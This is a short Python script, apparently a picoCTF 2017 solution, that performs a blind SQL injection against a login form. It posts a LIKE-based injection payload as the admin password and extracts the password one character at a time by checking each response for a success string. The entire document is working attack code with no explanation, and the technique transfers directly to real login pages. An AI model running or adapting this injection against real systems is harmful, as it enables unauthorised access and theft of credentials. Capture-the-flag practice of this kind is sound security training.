import requests
import sys

print ("Hi Anon! Gonna do some blind injection for you...")
alf = "0123456789_ \"\'ABCDEFGHIJKLMNOPQRSTUVWXYZ@#%!^?&$+-,.$*/:;abcdefghijklmnopqrstuvwxyz{}[]()"
site = "http://shell2017.picoctf.com:16012/"

payload = "lol' or pass like 'NOT_ALL_ERRORS_SHOULD_BE_SHOWN_"
xc = 1

while xc == 1:
	xc = 0
	for i in range (len(alf)):
		if (alf[i] == '_' or alf[i] == '%' or alf[i] == '\'' or alf[i] == '\"'):
			temp = payload + "\\" + alf[i] + '%'
		else:
			temp = payload + alf[i] + "%"
		
		r = requests.post(site, data={"username": "admin", "password": temp})
		
		if (r.text.find("Login Functionality") != -1):
			payload += alf[i]
			sys.stdout.write(alf[i])
			sys.stdout.flush()
			xc = 1
			break
	if (xc == 0):
		break

print ("")
print ("Done!!!")